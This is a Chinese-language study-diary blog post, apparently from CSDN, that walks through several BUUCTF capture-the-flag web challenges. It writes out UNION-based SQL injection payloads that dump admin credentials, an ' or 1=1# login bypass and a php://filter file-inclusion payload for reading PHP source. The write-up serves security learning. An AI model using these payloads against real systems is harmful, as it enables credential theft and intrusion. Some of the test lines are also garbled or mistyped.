网安学习第十一天

BUU SQL COURSE 1

热点存在三条测试新闻,随意点击一个抓包,发现id参数可控

id=1+and+1=1 页面正常回显

id=1+and+1=1 页面没有回显,判断此处存在sql注入

 

结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。

 

sql注入,先判断回显位置

id=1+order+by+1,2 两列回显

id=1+order+by+1,2,3 无回显

因此判断有两处回显

 

接着判断数据库名(这里id的参数不能是1,2,3,其他值都可)

id=4+union+select+1,database()

得到数据库名news

 

判断表名

id=4+union+select+1,(select+group_contact(table_name)+from+information_schema.tables+where+table_schema='news')

得到两个表名admin,contents

 

判断admin表的列名

id=4+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='news'+and+table_name='admin')

得到三个列名id,username,password

 

查询username和password的内容

id=4+union+select+1,(select+group_concat(username)+from+admin)

得到username:admin

id=4+union+select+1,(select+group_concat(password)+from+admin)

得到password

 

接着返回登录页面输入即

 

[SUCTF 2019]EasySQL 1

知识点:

sql的优先级:

()>and>or

 

输入用户名:admin'和密码:admin

发现sql报错,得知是“闭合”

猜测后台的sql语句如下:

sql="select * from user where username='$username&'and password='$password&'"

使用万能密码,即在密码后加上' or 1=1#,即可得到flag

(万能密码的原理是利用or和and的优先级使得后面的where子句为真)

注:1=1恒真,会输出所有用户的信息

 

极客大挑战 Havefun

打开题目,发现Havefun的页面,F12查看源代码

根据给出的php代码再去url上输入?cat=dog,得到flag

 

 ACTF2020 新生赛 Include

打开题目显示tips的超链接,进入发现不是flag,通过观察发现页面为原题目页面/?file=flag.php参数

由于参数为file并且题目为Include,该题目为文件包含

通过php伪协议来读取源文件

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码的字符串,通过解码得到flag

注:php:// 是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的通道。在URL中传入参数如果是 php文件会被Web容器解释,从而看不到源码。通过伪协议php://filter的方式来打开数据流,并将其用base64编码的方式读取,显示在页面上。在URL中传入参数如果是 php文件会被Web容器解释,从而看不到源码。通过伪协议php://filter的方式来打开数据流,并将其用base64编码的方式读取,显示在页面上。

 

当前问题:

1.未掌握sql的相关知识,做题全靠解析,无法解读代码的含义(诸如:“闭合”)

2.php未学习

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值